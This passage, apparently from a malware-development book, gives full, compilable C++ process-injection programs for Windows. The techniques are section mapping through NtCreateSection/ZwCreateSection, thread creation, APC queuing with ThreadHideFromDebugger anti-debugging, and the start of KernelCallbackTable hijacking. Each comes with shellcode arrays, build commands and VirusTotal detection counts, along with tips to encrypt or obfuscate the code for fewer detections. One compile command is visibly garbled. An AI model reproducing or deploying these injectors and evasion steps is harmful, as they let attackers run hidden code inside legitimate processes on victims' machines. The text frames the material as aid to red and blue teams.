"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

SIZE_T s = 4096;
LARGE_INTEGER sectionS = { s };
HANDLE sh = NULL; // section handle
PVOID lb = NULL; // local buffer
PVOID rb = NULL; // remote buffer
HANDLE th = NULL; // thread handle
DWORD pid; // process ID

pid = findMyProc(argv[1]);

OBJECT_ATTRIBUTES oa;
CLIENT_ID cid;
InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);
cid.UniqueProcess = (PVOID) pid;
cid.UniqueThread = 0;

// loading ntdll.dll
HANDLE ntdll = GetModuleHandleA("ntdll");

187
pNtOpenProcess myNtOpenProcess =
(pNtOpenProcess)GetProcAddress(
ntdll, "NtOpenProcess");
pNtCreateSection myNtCreateSection =
(pNtCreateSection)(GetProcAddress(
ntdll, "NtCreateSection"));
pNtMapViewOfSection myNtMapViewOfSection =
(pNtMapViewOfSection)(GetProcAddress(
ntdll, "NtMapViewOfSection"));
pRtlCreateUserThread myRtlCreateUserThread =
(pRtlCreateUserThread)(GetProcAddress(
ntdll, "RtlCreateUserThread"));
pZwUnmapViewOfSection myZwUnmapViewOfSection =
(pZwUnmapViewOfSection)(GetProcAddress(
ntdll, "ZwUnmapViewOfSection"));

// create a memory section


myNtCreateSection(&sh,
SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE,
NULL, (PLARGE_INTEGER)&sectionS,
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

// bind the object in the memory


// of our process for reading and writing
myNtMapViewOfSection(sh, GetCurrentProcess(),
&lb, NULL, NULL, NULL,
&s, 2, NULL, PAGE_READWRITE);

// open remote proces via NT API


HANDLE ph = NULL;
myNtOpenProcess(&ph, PROCESS_ALL_ACCESS, &oa, &cid);

if (!ph) {
printf("failed to open process :(\n");
return -2;
}

// bind the object in the memory of the target process


// for reading and executing
myNtMapViewOfSection(sh, ph, &rb, NULL, NULL, NULL,
&s, 2, NULL, PAGE_EXECUTE_READ);

// write payload
memcpy(lb, my_payload, sizeof(my_payload));

188
// create a thread
myRtlCreateUserThread(ph, NULL, FALSE,
0, 0, 0, rb, NULL, &th, NULL);

// and wait
if (WaitForSingleObject(th, INFINITE) == WAIT_FAILED) {
return -2;
}

// clean up
myZwUnmapViewOfSection(GetCurrentProcess(), lb);
myZwUnmapViewOfSection(ph, rb);
CloseHandle(sh);
CloseHandle(ph);
return 0;
}

As you can see, everything is simple. Also I used findMyProc function from one
of my previous sections:

Changes to the local view of the section will also cause remote views
to be modified as well, thus bypassing the need for APIs such as
KERNEL32.DLL!WriteProcessMemory to write malicious code into remote

189
process address space.
Although this is somewhat of an advantage over direct virtual memory allocation
using NtAllocateVirtualMemory, it creates similar malicious memory artifacts
that blue teamers should look out for:

demo
So finally after we understood entire code of the malware, we can test it.
Let’s go to compile our malware:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptionsections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-igc-plibgcc -fpermissive

190
Then, see everything in action! Start our victim process (in our case
mspaint.exe) on the victim machine (Windows 10 x64):

Then run our malware:


.\hack.exe mspaint.exe

191
We can see that everything was completed perfectly :)
Let’s go to upload our malware to VirusTotal:

192
https://www.virustotal.com/gui/file/1573a7d59de744b0723e83539ad8dcb934
7c89f27a8321ea578c8c0d98f1e2cb?nocache=1
So, 4 of 62 AV engines detect our file as malicious.
If we want, for better result, we can add payload encryption with key or obfuscate
functions, or combine both of this techniques.
I hope this post spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
BlackHat USA 2019 Process Injection Techniques - Gotta Catch Them All
WinDBG kernel debugging
NtOpenProcess
NtCreateSection
NtMapViewOfSection
ZwUnmapViewOfSection
Moneta64.exe
source code in Github

25. code injection via ZwCreateSection. Simple C++


malware example.

193
In the previous section I wrote about code injection via memory sections.
This section is a result of self-research of replacing some Nt prefixes with Zw
prefixes.

Zw prefix?
The Nt prefix is an abbreviation of Windows NT, but the Zw prefix has no
meaning.
From the MSDN:
When a user-mode application calls the Nt or Zw version of a native
system services routine, the routine always treats the parameters
that it receives as values that come from a user-mode source that is
not trusted. The routine thoroughly validates the parameter values
before it uses the parameters. In particular, the routine probes any
caller-supplied buffers to verify that the buffers are located in valid
user-mode memory and are aligned properly.

practical example. C++ malware.


Let’s go to replace some of the NT API functions from the previous post example
with Zw-prefixed functions.
The first thing that has to be done is to create a legit process with
CreateProcessA:
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);

Next steps are similar as previous post but, the only difference is we use
ZwCreateThreadEx:

194
typedef NTSTATUS(NTAPI* pZwCreateThreadEx)(
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID Argument,
_In_ ULONG CreateFlags,
_In_opt_ ULONG_PTR ZeroBits,
_In_opt_ SIZE_T StackSize,
_In_opt_ SIZE_T MaximumStackSize,
_In_opt_ PVOID AttributeList
);

instead of RtlCreateUserThread for triggering payload.


And another difference is we used ZwClose for close handles (clean up):
typedef NTSTATUS(NTAPI* pZwClose)(
_In_ HANDLE Handle
);

195
So, the full source code of our example malware is:
/*
* hack.cpp - code injection via
* ZwCreateSection, ZwUnmapViewOfSection
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/01/14/malware-injection-13.html
*/
#include <cstdio>
#include <windows.h>
#include <winternl.h>

#pragma comment(lib, "ntdll")

// ZwCreateSection
typedef NTSTATUS(NTAPI* pZwCreateSection)(
OUT PHANDLE SectionHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG PageAttributess,
IN ULONG SectionAttributes,
IN HANDLE FileHandle OPTIONAL
);

// NtMapViewOfSection syntax
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,

196
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);

// ZwCreateThreadEx
typedef NTSTATUS(NTAPI* pZwCreateThreadEx)(
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID Argument,
_In_ ULONG CreateFlags,
_In_opt_ ULONG_PTR ZeroBits,
_In_opt_ SIZE_T StackSize,
_In_opt_ SIZE_T MaximumStackSize,
_In_opt_ PVOID AttributeList
);

// ZwUnmapViewOfSection syntax
typedef NTSTATUS(NTAPI* pZwUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress
);

// ZwClose
typedef NTSTATUS(NTAPI* pZwClose)(
_In_ HANDLE Handle
);

unsigned char my_payload[] =

// 64-bit meow-meow messagebox


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"

197
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {


HANDLE sh; // section handle
HANDLE th; // thread handle
STARTUPINFOA si = {};
PROCESS_INFORMATION pi = {};
PROCESS_BASIC_INFORMATION pbi = {};
OBJECT_ATTRIBUTES oa;
SIZE_T s = 4096;
LARGE_INTEGER sectionS = { s };
PVOID rb = NULL; // remote buffer
PVOID lb = NULL; // local buffer

ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
ZeroMemory(&pbi, sizeof(PROCESS_BASIC_INFORMATION));
si.cb = sizeof(STARTUPINFO);

ZeroMemory(&oa, sizeof(OBJECT_ATTRIBUTES));

HMODULE ntdll = GetModuleHandleA("ntdll");


pZwCreateSection myZwCreateSection =
(pZwCreateSection)(GetProcAddress(
ntdll, "ZwCreateSection"));
pNtMapViewOfSection myNtMapViewOfSection =
(pNtMapViewOfSection)(GetProcAddress(
ntdll, "NtMapViewOfSection"));
pZwUnmapViewOfSection myZwUnmapViewOfSection =
(pZwUnmapViewOfSection)(GetProcAddress(
ntdll, "ZwUnmapViewOfSection"));
pZwCreateThreadEx myZwCreateThreadEx =
(pZwCreateThreadEx)GetProcAddress(

198
ntdll, "ZwCreateThreadEx");
pZwClose myZwClose =
(pZwClose)GetProcAddress(
ntdll, "ZwClose");

// create process as suspended


if (!CreateProcessA(NULL,
(LPSTR) "C:\\windows\\system32\\mspaint.exe",
NULL, NULL, NULL,
CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW,
NULL, NULL, &si, &pi)) {
printf("create process failed :(\n");
return -2;
};

myZwCreateSection(&sh,
SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE,
NULL, &sectionS, PAGE_EXECUTE_READWRITE,
SEC_COMMIT, NULL);
printf("section handle: %p.\n", sh);

// mapping the section into current process


myNtMapViewOfSection(sh, GetCurrentProcess(), &lb,
NULL, NULL, NULL,
&s, 2, NULL, PAGE_EXECUTE_READWRITE);
printf("local process mapped at address: %p.\n", lb);

// mapping the section into remote process


myNtMapViewOfSection(sh, pi.hProcess, &rb,
NULL, NULL, NULL,
&s, 2, NULL, PAGE_EXECUTE_READWRITE);
printf("remote process mapped at address: %p\n", rb);

// copy payload
memcpy(lb, my_payload, sizeof(my_payload));

// unmapping section from current process


myZwUnmapViewOfSection(GetCurrentProcess(), lb);
printf("mapped at address: %p.\n", lb);
myZwClose(sh);

sh = NULL;

// create new thread


myZwCreateThreadEx(&th, 0x1FFFFF, NULL, pi.hProcess,

199
rb, NULL, CREATE_SUSPENDED, 0, 0, 0, 0);
printf("thread: %p.\n", th);
ResumeThread(pi.hThread);
myZwClose(pi.hThread);
myZwClose(th);

return 0;
}

demo
Let’s go to compile our example:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

Then, see everything in action! In our case victim machine is Windows 10 x64:

200
We can see that everything was completed perfectly :)
Then, let’s go to upload our malware to VirusTotal:

https://www.virustotal.com/gui/file/cca1a55dd587cb3e6b4768e6d4febe296674
1063e6beac5951f119bf2ba193ae/detection
So, 5 of 67 AV engines detect our file as malicious.
Moneta64.exe result:

201
If we want, for better result, we can add payload encryption with key or obfuscate
functions, or combine both of this techniques.
I hope this post spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
CreateProcessA
ZwCreateSection
NtMapViewOfSection
ZwUnmapViewOfSection
ZwClose
Moneta64.exe
source code in Github

202
26. code injection via memory sections and ZwQueueApc-
Thread. Simple C++ malware example.

In the previous section I wrote about code injection via memory sections.
This section is a result of replacing thread creating logic.

ZwQueueApcThread
For the user-mode code there is no difference between ZwQueueApcThread and
NtQueueApcThread functions. It’s just the matter of what prefix you like.
Native function ZwQueueApcThread is declared like:
NTSYSAPI
NTSTATUS
NTAPI
ZwQueueApcThread(
IN HANDLE ThreadHandle,
IN PIO_APC_ROUTINE ApcRoutine,
IN PVOID ApcRoutineContext OPTIONAL,
IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL,
IN ULONG ApcReserved OPTIONAL );

so in our code we use function pointer to ZwQueueApcThread:


typedef NTSTATUS(NTAPI* pZwQueueApcThread)(
IN HANDLE ThreadHandle,
IN PIO_APC_ROUTINE ApcRoutine,
IN PVOID ApcRoutineContext OPTIONAL,
IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL,
IN ULONG ApcReserved OPTIONAL
);

203
ZwSetInformationThread
Native function ZwSetInformationThread is declared like:
NTSYSAPI NTSTATUS ZwSetInformationThread(
[in] HANDLE ThreadHandle,
[in] THREADINFOCLASS ThreadInformationClass,
[in] PVOID ThreadInformation,
[in] ULONG ThreadInformationLength
);

then in our code we use function pointer to ZwSetInformationThread:


typedef NTSTATUS(NTAPI* pZwSetInformationThread)(
[in] HANDLE ThreadHandle,
[in] THREADINFOCLASS ThreadInformationClass,
[in] PVOID ThreadInformation,
[in] ULONG ThreadInformationLength
);

practical example
My example’s logic is similar to previous section, the only difference is:

As you can see, I replaced payload launching logic.


There is one interesting point with ZwSetInformationThread. The second
parameter of this function is the THREADINFOCLASS structure, which is an enu-
merated type. The last label field is ThreadHideFromDebugger. By setting
ThreadHideFromDebugger for the thread, you can prohibit a thread from gen-
erating debugging events. This was one of the first anti-debugging techniques
provided by Windows in Microsoft’s search for how to prevent reverse engineering,
and it’s very powerful.
Full source code of malware:

204
/*
* hack.cpp - code injection via
* ZwCreateSection, ZwUnmapViewOfSection,
* ZwQueueApcThread
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/01/17/malware-injection-14.html
*/
#include <cstdio>
#include <windows.h>
#include <winternl.h>

#pragma comment(lib, "ntdll")

// ZwCreateSection
typedef NTSTATUS(NTAPI* pZwCreateSection)(
OUT PHANDLE SectionHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG PageAttributess,
IN ULONG SectionAttributes,
IN HANDLE FileHandle OPTIONAL
);

// NtMapViewOfSection syntax
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);

// ZwUnmapViewOfSection syntax
typedef NTSTATUS(NTAPI* pZwUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress
);

205
// ZwClose
typedef NTSTATUS(NTAPI* pZwClose)(
_In_ HANDLE Handle
);

// ZwQueueApcThread
typedef NTSTATUS(NTAPI* pZwQueueApcThread)(
IN HANDLE ThreadHandle,
IN PIO_APC_ROUTINE ApcRoutine,
IN PVOID ApcRoutineContext OPTIONAL,
IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL,
IN ULONG ApcReserved OPTIONAL
);

// ZwSetInformationThread
typedef NTSTATUS(NTAPI* pZwSetInformationThread)(
_In_ HANDLE ThreadHandle,
_In_ THREADINFOCLASS ThreadInformationClass,
_In_ PVOID ThreadInformation,
_In_ ULONG ThreadInformationLength
);

unsigned char my_payload[] =

// 64-bit meow-meow messagebox


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"

206
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {


HANDLE sh; // section handle
HANDLE th; // thread handle
STARTUPINFOA si = {};
PROCESS_INFORMATION pi = {};
PROCESS_BASIC_INFORMATION pbi = {};
OBJECT_ATTRIBUTES oa;
SIZE_T s = 4096;
LARGE_INTEGER sectionS = { (DWORD) s };
PVOID rb = NULL; // remote buffer
PVOID lb = NULL; // local buffer

ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
ZeroMemory(&pbi, sizeof(PROCESS_BASIC_INFORMATION));
si.cb = sizeof(STARTUPINFO);

ZeroMemory(&oa, sizeof(OBJECT_ATTRIBUTES));

HMODULE ntdll = GetModuleHandleA("ntdll");


pZwCreateSection myZwCreateSection =
(pZwCreateSection)(GetProcAddress(
ntdll, "ZwCreateSection"));
pNtMapViewOfSection myNtMapViewOfSection =
(pNtMapViewOfSection)(GetProcAddress(
ntdll, "NtMapViewOfSection"));
pZwUnmapViewOfSection myZwUnmapViewOfSection =
(pZwUnmapViewOfSection)(GetProcAddress(
ntdll, "ZwUnmapViewOfSection"));
pZwQueueApcThread myZwQueueApcThread =
(pZwQueueApcThread)GetProcAddress(
ntdll, "ZwQueueApcThread");
pZwSetInformationThread myZwSetInformationThread =
(pZwSetInformationThread)GetProcAddress(
ntdll, "ZwSetInformationThread");
pZwClose myZwClose =
(pZwClose)GetProcAddress(
ntdll, "ZwClose");

// create process as suspended


if (!CreateProcessA(NULL,

207
(LPSTR) "C:\\windows\\system32\\mspaint.exe",
NULL, NULL, NULL,
CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW,
NULL, NULL, &si, &pi)) {
printf("create process failed :(\n");
return -2;
};

myZwCreateSection(&sh,
SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE,
NULL, &sectionS,
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
printf("section handle: %p.\n", sh);

// mapping the section into current process


myNtMapViewOfSection(sh, GetCurrentProcess(), &lb,
NULL, NULL, NULL,
&s, 2, NULL, PAGE_EXECUTE_READWRITE);
printf("local process mapped at address: %p.\n", lb);

// mapping the section into remote process


myNtMapViewOfSection(sh, pi.hProcess, &rb,
NULL, NULL, NULL,
&s, 2, NULL, PAGE_EXECUTE_READWRITE);
printf("remote process mapped at address: %p\n", rb);

// copy payload
memcpy(lb, my_payload, sizeof(my_payload));

// unmapping section from current process


myZwUnmapViewOfSection(GetCurrentProcess(), lb);
printf("mapped at address: %p.\n", lb);
myZwClose(sh);

sh = NULL;

// create new thread


myZwQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)rb, 0, 0, 0);
myZwSetInformationThread(pi.hThread, (THREADINFOCLASS)1,
NULL, NULL);
ResumeThread(pi.hThread);
myZwClose(pi.hThread);
myZwClose(th);

return 0;

208
}

As usually, for simplicity, I used meow-meow messagebox as payload:


unsigned char my_payload[] =

// 64-bit meow-meow messagebox


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

demo
Let’s go to compile our example:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

209
Then, see everything in action! In our case victim machine is Windows 10 x64:

210
We can see that everything was completed perfectly :)
Then, let’s go to upload our malware to VirusTotal:

https://www.virustotal.com/gui/file/a96b5c2a8fce03d4b6e30b9499a3df2280cb
6f5570bb4198a1bd51aeaa2665e8/detection
So, 9 of 67 AV engines detect our file as malicious.
Moneta64.exe result:

211
If we want, for better result, we can add payload encryption with key or obfuscate
functions, or combine both of this techniques.
I hope this post spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
CreateProcessA
ZwCreateSection
NtMapViewOfSection
ZwUnmapViewOfSection
ZwClose
ZwQueueApcThread/NtQueueApcThread
ZwSetInformationThread
Moneta64.exe
source code in Github

212
27. process injection via KernelCallbackTable. Simple C++
malware example.

This post is a result of self-researching one of the process injection technique: by


spoofing the fnCOPYDATA value in KernelCallbackTable.
Let’s look at this technique in more detail.

KernelCallbackTable
KernelCallbackTable can be found in PEB structure, at 0x058 offset:
lkd> dt_PEB

lkd> dt_PEB @$peb kernelcallbacktable

213
The KernelCallbackTable is initialized to an array of functions:
lkd> dqs 0x00007ffa`29123070 L60
00007ffa`29123070 00007ffa`290c2bd0 user32!_fnCOPYDATA
00007ffa`29123078 00007ffa`2911ae70 user32!_fnCOPYGLOBALDATA
00007ffa`29123080 00007ffa`290c0420 user32!_fnDWORD
00007ffa`29123088 00007ffa`290c5680 user32!_fnNCDESTROY
00007ffa`29123090 00007ffa`290c96a0 user32!_fnDWORDOPTINLPMSG
00007ffa`29123098 00007ffa`2911b4a0 user32!_fnINOUTDRAG
//....

For example, functions such as fnCOPYDATA are called in response to a


WM_COPYDATA window message.
This function is replaced to demonstrate the injection.

practical example
The flow is this technique is: firstly, include ntddk.h header from SDK:
#include <./ntddk.h>

Then, redefine:
typedef struct _KERNELCALLBACKTABLE_T {
ULONG_PTR __fnCOPYDATA;
ULONG_PTR __fnCOPYGLOBALDATA;
ULONG_PTR __fnDWORD;
ULONG_PTR __fnNCDESTROY;
ULONG_PTR __fnDWORDOPTINLPMSG;
ULONG_PTR __fnINOUTDRAG;
ULONG_PTR __fnGETTEXTLENGTHS;
ULONG_PTR __fnINCNTOUTSTRING;
ULONG_PTR __fnPOUTLPINT;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
ULONG_PTR __fnINLPCREATESTRUCT;
ULONG_PTR __fnINLPDELETEITEMSTRUCT;
ULONG_PTR __fnINLPDRAWITEMSTRUCT;
ULONG_PTR __fnPOPTINLPUINT;
ULONG_PTR __fnPOPTINLPUINT2;
ULONG_PTR __fnINLPMDICREATESTRUCT;
ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
ULONG_PTR __fnINLPWINDOWPOS;
ULONG_PTR __fnINOUTLPPOINT5;
ULONG_PTR __fnINOUTLPSCROLLINFO;
ULONG_PTR __fnINOUTLPRECT;
ULONG_PTR __fnINOUTNCCALCSIZE;
ULONG_PTR __fnINOUTLPPOINT5_;
ULONG_PTR __fnINPAINTCLIPBRD;

214
ULONG_PTR __fnINSIZECLIPBRD;
ULONG_PTR __fnINDESTROYCLIPBRD;
ULONG_PTR __fnINSTRING;
ULONG_PTR __fnINSTRINGNULL;
ULONG_PTR __fnINDEVICECHANGE;
ULONG_PTR __fnPOWERBROADCAST;
ULONG_PTR __fnINLPUAHDRAWMENU;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
